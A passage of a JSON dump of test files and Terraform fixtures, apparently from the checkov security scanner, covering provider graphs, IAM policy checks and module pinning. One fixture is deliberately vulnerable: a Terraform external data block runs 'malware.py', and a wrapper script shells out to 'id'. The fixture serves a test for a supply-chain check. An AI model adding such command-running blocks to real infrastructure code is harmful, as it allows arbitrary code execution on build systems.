local_graph.vertices[0].attributes.get('__provider_address__')\n        default_provider_address_from_module = local_graph.vertices[2].attributes.get('__address__')\n\n        assert resource_provider_address == default_provider_address_from_module\n\n    def test_resource_with_def_provider(self):\n        test_files_dir = Path(__file__).parent / \"example_provider_without_module\"\n\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM')\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(True)\n\n        # assert resource with provider ref.\n        resource_provider_address_with_alias = local_graph.vertices[2].attributes.get('__provider_address__')\n        provider_address_with_alias = local_graph.vertices[1].attributes.get('__address__')\n        assert resource_provider_address_with_alias == provider_address_with_alias\n\n        # assert resource without ref to the default provider\n        resource_provider_address_default = local_graph.vertices[3].attributes.get('__provider_address__')\n        provider_address_default = local_graph.vertices[0].attributes.get('__address__')\n        assert resource_provider_address_default == provider_address_default\n\n    def test_provider_nested_module(self):\n        test_files_dir = Path(__file__).parent / \"example_provider_with_nested_module\"\n\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM')\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(True)\n\n        # assert resource with provider ref.\n        resource_provider_address_with_alias = local_graph.vertices[2].attributes.get('__provider_address__')\n        provider_address_with_alias = local_graph.vertices[1].attributes.get('__address__')\n        assert resource_provider_address_with_alias == provider_address_with_alias\n\n    def test_example_provider_with_nested_module_assign_provider(self):\n        test_files_dir = Path(__file__).parent / \"example_provider_with_nested_module_assign_provider\"\n\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM')\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(True)\n\n        # assert resource with provider ref.\n        resource_provider_address_with_alias = local_graph.vertices[0].attributes.get('__provider_address__')\n        provider_address_with_alias = local_graph.vertices[4].attributes.get('__address__')\n        assert resource_provider_address_with_alias == provider_address_with_alias\n\n    def test_provider_edge_cases(self):\n        test_files_dir = Path(__file__).parent / \"example_provider_edge_case\"\n\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM')\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(True)\n\n        assert local_graph.vertices[3].attributes.get('__provider_address__') == \"aws.default\"\n        assert local_graph.vertices[8].attributes.get('__provider_address__') == \"module.level1.aws.default\"\n        assert local_graph.vertices[9].attributes.get('__provider_address__') == \"module.level1.aws.default\"\n        assert local_graph.vertices[10].attributes.get('__provider_address__') == \"module.level1.aws.eu_west\"\n        assert local_graph.vertices[11].attributes.get('__provider_address__') == \"aws.default\"\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_ResourcePolicyDocument.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.ResourcePolicyDocument import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestResourcePolicyDocument(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ResourcePolicyDocument\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.pass\",\n            \"aws_iam_policy_document.pass2\",\n            \"aws_iam_policy_document.pass_unrestrictable\",\n            \"aws_iam_policy_document.pass_condition\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        print(\"passed_check_resources\")\n        print(passed_check_resources)\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_StarActionPolicyDocument.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.StarActionPolicyDocument import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStarActionPolicyDocument(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_StarActionPolicyDocument\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_document.flatten\",\n            \"aws_iam_policy_document.pass\",\n            \"aws_iam_policy_document.unknown\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_document.fail\",\n            \"aws_iam_policy_document.no_effect\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/test_WhoAMI.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.aws.WhoAMI import check\nfrom checkov.terraform.runner import Runner\n\nclass TestWhoAMI(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WhoAMI\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ami.pass1\",\n            \"aws_ami.pass2\"\n        }\n        failing_resources = {\n            \"aws_ami.fail1\",\n            \"aws_ami.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/example_external_dir/extra_checks/DummyExternalDataCheck.py",
    "content": "from checkov.terraform.checks.data.base_check import BaseDataCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass DummyExternalDataCheck(BaseDataCheck):\n    def __init__(self):\n        name = \"check for terraform data entity\"\n        id = \"CKV_AWS_999\"\n        supported_resources = ['aws_iam_policy_document']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_resources)\n\n    def scan_data_conf(self, conf):\n        return CheckResult.PASSED\n\n\nscanner = DummyExternalDataCheck()\n"
  },
  {
    "path": "tests/terraform/checks/data/example_external_dir/extra_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/data/external/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/data/external/example_external_data/main.tf",
    "content": "data \"external\" \"external_provider\" {\n  program = [\"python3\", \"malware.py\"]\n}\n\noutput \"external_provider_example\" {\n  value = data.external.external_provider\n}"
  },
  {
    "path": "tests/terraform/checks/data/external/example_external_data/wrapper.py",
    "content": "# flake8: noqa\n\n# skip this file from pylint since it vulnerable by design\nimport json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = {\"result\": output}\n\nprint(json.dumps(result))\n"
  },
  {
    "path": "tests/terraform/checks/data/external/external_check/ExternalData.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\n\n\nclass ExternalData(BaseDataCheck):\n    def __init__(self) -> None:\n        name = 'Ensure terraform external data blocks runs vetted code'\n        id = \"CKV_TF_DATA_EXTERNAL_1\"\n        supported_data = [\"external\"]\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        # based on https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/\n        return CheckResult.FAILED\n\n\ncheck = ExternalData()\n"
  },
  {
    "path": "tests/terraform/checks/data/external/external_check/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]"
  },
  {
    "path": "tests/terraform/checks/data/external/test_external_data.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.data.registry import data_registry\n\nclass TestExternalData(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_external_data\"\n        external_check_dir = Path(__file__).parent / \"external_check\"\n\n        runner = Runner()\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[\"CKV_TF_DATA_EXTERNAL_1\"]),\n                            external_checks_dir=[external_check_dir])\n        summary = report.get_summary()\n        print(data_registry)\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        check = next(c for c in data_registry.checks[\"external\"] if c.id == \"CKV_TF_DATA_EXTERNAL_1\")\n        data_registry.checks[\"external\"].remove(check)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/gcp/example_GooglePolicyIsPrivate/main.tf",
    "content": "data \"google_iam_policy\" \"pass\" {\n  binding {\n    role = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n    members = [\n      \"user:jane@example.com\",\n    ]\n  }\n}\n\ndata \"google_iam_policy\" \"fail\" {\n  binding {\n    role = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n    members = [\n      \"allUsers\",\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/data/gcp/test_GooglePolicyIsPrivate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.data.gcp.GooglePolicyIsPrivate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGooglePolicyIsPrivate(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GooglePolicyIsPrivate\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_iam_policy.pass\",\n        }\n        failing_resources = {\n            \"google_iam_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/data/test_base_data_check.py",
    "content": "import pytest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\n\n\nclass TestStaticCheck(BaseDataCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Test something\"\n        id = \"CKV_TEST_2\"\n        supported_data = [\"ckv_test\"]\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf):\n        if \"check_result\" in conf.keys():\n            check_result = conf[\"check_result\"][0]\n            if check_result:\n                return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\n@pytest.mark.parametrize(\n    \"conf,expected\",\n    [\n        ({\"check_result\": [True]}, CheckResult.PASSED),\n        ({\"check_result\": [False]}, CheckResult.FAILED),\n        ({\"foo\": [\"bar\"]}, CheckResult.UNKNOWN),\n        ({\"count\": [0], \"check_result\": [True]}, CheckResult.UNKNOWN),\n        ({\"count\": [1], \"check_result\": [True]}, CheckResult.PASSED),\n    ],\n    ids=[\"pass\", \"fail\", \"unknown\", \"count_zero\", \"count_one\"],\n)\ndef test_scan_entity_conf(conf, expected):\n    result = TestStaticCheck().scan_entity_conf(conf, \"ckv_test\")\n\n    assert result == expected\n"
  },
  {
    "path": "tests/terraform/checks/data/test_registry.py",
    "content": "import os\nimport unittest\nfrom unittest.mock import patch\n\n\nclass TestRegistry(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.data.registry import data_registry\n        self.registry = data_registry\n\n\n    @patch('os.path.exists')\n    def test_with_init(self, mock_path_exists):\n        mock_path_exists.return_value = True\n        self.assertTrue(self.registry._directory_has_init_py(\"/foo/bar\"))\n\n    @patch('os.path.exists')\n    def test_without_init(self, mock_path_exists):\n        mock_path_exists.return_value = False\n        self.assertFalse(self.registry._directory_has_init_py(\"/foo/bar\"))\n\n    def test_registry_external_check_load(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        external_dir = current_dir + \"/example_external_dir/extra_checks\"\n        self.registry.load_external_checks(external_dir)\n\n        external_check_loaded = False\n        external_check = None\n        for check in self.registry.checks['aws_iam_policy_document']:\n            if check.__class__.__name__ == 'DummyExternalDataCheck':\n                external_check_loaded = True\n                external_check = check\n        self.assertTrue(external_check_loaded)\n        self.registry.checks['aws_iam_policy_document'].remove(external_check)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/example_WildcardEntities/main.tf",
    "content": "locals {\n  dummy_with_dash  = format(\"-%s\", var.dummy_1)\n  dummy_with_comma = format(\":%s\", var.dummy_1)\n  bucket_name      = var.bucket_name\n}\n\nvariable \"user_exists\" {\n  default = false\n}\n\nresource \"aws_cognito_user_group\" \"user_group\" {\n  name         = \"${var.customer_name}_group\"\n  description  = \"${var.customer_name} user group\"\n  user_pool_id = var.user_pool_id\n}\n\nresource \"null_resource\" \"create_cognito_user\" {\n  count = var.user_exists ? 0 : 1\n  triggers = {\n    build_number = var.user_email\n  }\n\n  provisioner \"local-exec\" {\n    command = \"aws --profile=${var.aws_profile} --region=${var.region} cognito-idp admin-create-user --user-pool-id ${var.user_pool_id} --username ${var.user_email}\"\n  }\n}\n\nresource \"aws_iam_account_password_policy\" \"password-policy\" {\n  minimum_password_length        = 15\n  require_lowercase_characters   = true\n  require_numbers                = true\n  require_uppercase_characters   = true\n  require_symbols                = true\n  allow_users_to_change_password = true\n}\n\ndata \"aws_iam_policy_document\" \"event_stream_bucket_role_assume_role_policy\" {\n  statement {\n    actions = [var.action]\n\n    resources = [\n      \"*\",\n      \"abc\"\n    ]\n    principals {\n      type        = \"Service\"\n      identifiers = [\"firehose.amazonaws.com\"]\n    }\n\n    principals {\n      type        = \"AWS\"\n      identifiers = var.trusted_role_arn\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"template_bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = var.acl\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/checks/module/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/module/generic/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/module/generic/example_RevisionHash/main.tf",
    "content": "# pass\n\nmodule \"hash\" {\n  source = \"git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=26c38a66f12e7c6c93b6a2ba127ad68981a48671\"\n\n  name = \"my-vpc\"\n  cidr = \"10.0.0.0/16\"\n\n  azs             = [\"eu-west-1a\", \"eu-west-1b\", \"eu-west-1c\"]\n  private_subnets = [\"10.0.1.0/24\", \"10.0.2.0/24\", \"10.0.3.0/24\"]\n  public_subnets  = [\"10.0.101.0/24\", \"10.0.102.0/24\", \"10.0.103.0/24\"]\n\n  enable_nat_gateway = true\n  enable_vpn_gateway = true\n\n  tags = {\n    Terraform = \"true\"\n    Environment = \"dev\"\n  }\n}\n\nmodule \"sub_dir_hash\" {\n  source  = \"git::https://github.com/terraform-aws-modules/terraform-aws-cloudwatch.git//modules/log-group?ref=60cf981e0f1ae033699e5b274440867e48289967\"\n\n  name              = \"git\"\n  retention_in_days = 120\n}\n\n# fail\n\nmodule \"tf_registry\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n  version = \"4.3.0\"\n\n  name              = \"normal\"\n  retention_in_days = 120\n}\n\nmodule \"tag\" {\n  source = \"git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=v5.0.0\"\n\n  name = \"my-vpc\"\n  cidr = \"10.0.0.0/16\"\n\n  azs             = [\"eu-west-1a\", \"eu-west-1b\", \"eu-west-1c\"]\n  private_subnets = [\"10.0.1.0/24\", \"10.0.2.0/24\", \"10.0.3.0/24\"]\n  public_subnets  = [\"10.0.101.0/24\", \"10.0.102.0/24\", \"10.0.103.0/24\"]\n\n  enable_nat_gateway = true\n  enable_vpn_gateway = true\n\n  tags = {\n    Terraform = \"true\"\n    Environment = \"dev\"\n  }\n}\n\n# unknown\n\nmodule \"relative\" {\n  source = \"./example\"\n}\n\nmodule \"backtrack\" {\n  source = \"../example\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/module/generic/example_RevisionVersionTag/main.tf",
    "content": "# pass\n\nmodule \"hash\" {\n  source = \"git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=26c38a66f12e7c6c93b6a2ba127ad68981a48671\"\n\n  name = \"my-vpc\"\n  cidr = \"10.0.0.0/16\"\n\n  azs             = [\"eu-west-1a\", \"eu-west-1b\", \"eu-west-1c\"]\n  private_subnets = [\"10.0.1.0/24\", \"10.0.2.0/24\", \"10.0.3.0/24\"]\n  public_subnets  = [\"10.0.101.0/24\", \"10.0.102.0/24\", \"10.0.103.0/24\"]\n\n  enable_nat_gateway = true\n  enable_vpn_gateway = true\n\n  tags = {\n    Terraform = \"true\"\n    Environment = \"dev\"\n  }\n}\n\nmodule \"sub_dir_hash\" {\n  source  = \"git::https://github.com/terraform-aws-modules/terraform-aws-cloudwatch.git//modules/log-group?ref=60cf981e0f1ae033699e5b274440867e48289967\"\n\n  name              = \"git\"\n  retention_in_days = 120\n}\n\nmodule \"tag\" {\n  source = \"git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=v5.0.0\"\n\n  name = \"my-vpc\"\n  cidr = \"10.0.0.0/16\"\n\n  azs             = [\"eu-west-1a\", \"eu-west-1b\", \"eu-west-1c\"]\n  private_subnets = [\"10.0.1.0/24\", \"10.0.2.0/24\", \"10.0.3.0/24\"]\n  public_subnets  = [\"10.0.101.0/24\", \"10.0.102.0/24\", \"10.0.103.0/24\"]\n\n  enable_nat_gateway = true\n  enable_vpn_gateway = true\n\n  tags = {\n    Terraform = \"true\"\n    Environment = \"dev\"\n  }\n}\n\nmodule \"shallow_clone\" {\n  source = \"git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?depth=1&ref=v1.2.0\"\n}\n\nmodule \"module_with_version\" {\n  source  = \"terraform-aws-modules/iam/aws//modules/iam-github-oidc-role\"\n  version = \"5.39.1\"\n}\n\n# fail\n\nmodule \"tf_registry_no_version\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n}\n\nmodule \"looks_like_a_branch\" {\n  source = \"git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=some_branch_name\"\n\n  name = \"my-vpc\"\n  cidr = \"10.0.0.0/16\"\n\n  azs             = [\"eu-west-1a\", \"eu-west-1b\", \"eu-west-1c\"]\n  private_subnets = [\"10.0.1.0/24\", \"10.0.2.0/24\", \"10.0.3.0/24\"]\n  public_subnets  = [\"10.0.101.0/24\", \"10.0.102.0/24\", \"10.0.103.0/24\"]\n\n  enable_nat_gateway = true\n  enable_vpn_gateway = true\n\n  tags = {\n    Terraform = \"true\"\n    Environment = \"dev\"\n  }\n}\n\nmodule \"github_module\" {\n  source = \"github.com/hashicorp/example\"\n}\n\nmodule \"bitbucket_module\" {\n  source = \"bitbucket.org/hashicorp/terraform-consul-aws\"\n}\n\nmodule \"github_ssh_module\" {\n  source = \"git@github.com:hashicorp/example.git\"\n}\n\nmodule \"generic_git_module\" {\n  source = \"git::https://example.com/vpc.git\"\n}\n\n# unknown\n\nmodule \"relative\" {\n  source = \"./example\"\n}\n\nmodule \"backtrack\" {\n  source = \"../example\"\n}"
  },
  {
    "path": "tests/terraform/checks/module/generic/test_RevisionHash.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.module.generic.RevisionHash import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRevisionHash(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RevisionHash\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"hash\",\n            \"sub_dir_hash\",\n        }\n        failing_resources = {\n            \"tag\",\n            \"tf_registry\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/module/generic/test_RevisionVersionTag.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.module.generic.RevisionVersionTag import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRevisionVersionTag(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RevisionVersionTag\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"hash\",\n            \"sub_dir_hash\",\n            \"tag\",\n            \"shallow_clone\",\n            \"module_with_version\"\n        }\n\n        failing_resources = {\n            \"looks_like_a_branch\",\n            \"tf_registry_no_version\",\n            \"generic_git_module\",\n            \"bitbucket_module\",\n            \"github_ssh_module\",\n            \"github_module\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/module/registry/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/module/registry/example_external_dir/extra_checks/ModuleCheck.py",
    "content": "from checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.module.base_module_check import BaseModuleCheck\n\n\nclass ModuleCheck(BaseModuleCheck):\n    def __init__(self):\n        name = \"Some test for module calls\"\n        id = \"CKV_M_999\"\n        supported_resources = ['module']\n        categories = []\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_module_conf(self, conf):\n        \"\"\"\n        Some test for module source\n        :param conf: module call\n        :return: <CheckResult>\n        \"\"\"\n        return CheckResult.PASSED if 'source' in conf.keys() else CheckResult.FAILED\n\n\nscanner = ModuleCheck()\n"
  },
  {
    "path": "tests/terraform/checks/module/registry/example_external_dir/extra_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/module/registry/example_external_dir_with_module_version_check/extra_checks/ModuleSourceHashCheck.py",
    "content": "import re\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.module.base_module_check import BaseModuleCheck\n\nMODULE_GIT_VERSION_PATTERN = re.compile(r\"git::https?:\\/\\/[^\\/]+\\/.+.git\\?ref=(\\b[0-9a-f]{5,40}\\b)\")\n\n\nclass ModuleSourceHashCheck(BaseModuleCheck):\n    def __init__(self):\n        name = \"Ensure module is immutable using commit hash\"\n        id = \"CKV_TF_MODULE_2\"\n        supported_resources = ['module']\n        categories = []\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_module_conf(self, conf):\n        \"\"\"\n        Some test for module source\n        :param conf: module call\n        :return: <CheckResult>\n        \"\"\"\n\n        source = conf.get('source', [])\n        if not source:\n            # source is using latest or tagged version\n            return CheckResult.FAILED\n        else:\n            if MODULE_GIT_VERSION_PATTERN.match(source[0]):\n                # immutable source is being used\n                return CheckResult.PASSED\n            # non immutable source is used\n            return CheckResult.FAILED\n\n\nscanner = ModuleSourceHashCheck()\n"
  },
  {
    "path": "tests/terraform/checks/module/registry/example_external_dir_with_module_version_check/extra_checks/ModuleVersionCheck.py",
    "content": "from packaging import version as v\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.module.base_module_check import BaseModuleCheck\n\n\nclass S3ModuleVersionCheck(BaseModuleCheck):\n    def __init__(self):\n        name = \"Ensure S3 module is from version 0.47.0\"\n        id = \"CKV_TF_MODULE_1\"\n        supported_resources = ['module']\n        categories = []\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_module_conf(self, conf):\n        \"\"\"\n        Some test for module source\n        :param conf: module call\n        :return: <CheckResult>\n        \"\"\"\n\n        version = conf.get('version', [])\n        if not version:\n            # latest version is used\n            return CheckResult.PASSED\n        else:\n            if v.parse(version[0]) <= v.parse(\"0.3.4\"):\n                # misconfigured version is used\n                return CheckResult.FAILED\n            # good version is used\n            return CheckResult.PASSED\n\n\nscanner = S3ModuleVersionCheck()\n"
  },
  {
    "path": "tests/terraform/checks/module/registry/example_external_dir_with_module_version_check/extra_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/module/registry/resources/main.tf",
    "content": "module \"s3_bucket\" {\n  source = \"cloudposse/s3-bucket/aws\"\n  version = \"0.3.4\"\n  acl                      = \"private\"\n  enabled                  = true\n  user_enabled             = true\n  versioning_enabled       = false\n  allowed_bucket_actions   = [\"s3:GetObject\", \"s3:ListBucket\", \"s3:GetBucketLocation\"]\n  name                     = \"app\"\n  stage                    = \"test\"\n  namespace                = \"eg\"\n}\n\nmodule \"old_s3_bucket\" {\n  source = \"cloudposse/s3-bucket/aws\"\n  version = \"0.2.4\"\n  acl                      = \"private\"\n  enabled                  = true\n  user_enabled             = true\n  versioning_enabled       = false\n  allowed_bucket_actions   = [\"s3:GetObject\", \"s3:ListBucket\", \"s3:GetBucketLocation\"]\n  name                     = \"app\"\n  stage                    = \"test\"\n  namespace                = \"eg\"\n}\n\n\nmodule \"latest_s3_bucket\" {\n  source = \"cloudposse/s3-bucket/aws\"\n  version = \"0.2.4\"\n  acl                      = \"private\"\n  enabled                  = true\n  user_enabled             = true\n  versioning_enabled       = false\n  allowed_bucket_actions   = [\"s3:GetObject\", \"s3:ListBucket\", \"s3:GetBucketLocation\"]\n  name                     = \"app\"\n  stage                    = \"test\"\n  namespace                = \"eg\"\n}\n\nmodule \"valid_s3_bucket\" {\n  source = \"cloudposse/s3-bucket/aws\"\n  version = \"0.47.4\"\n  acl                      = \"private\"\n  enabled                  = true\n  user_enabled             = true\n  versioning_enabled       = false\n  allowed_bucket_actions   = [\"s3:GetObject\", \"s3:ListBucket\", \"s3:GetBucketLocation\"]\n  name                     = \"app\"\n  stage                    = \"test\"\n  namespace                = \"eg\"\n}\n\n\nmodule \"immutable_module\"{\n  source = \"git::https://example.com/storage.git?ref=51d462976d84fdea54b47d80dcabbf680badcdb8\"\n}"
  },
  {
    "path": "tests/terraform/checks/module/registry/test_ModuleCheck.py",
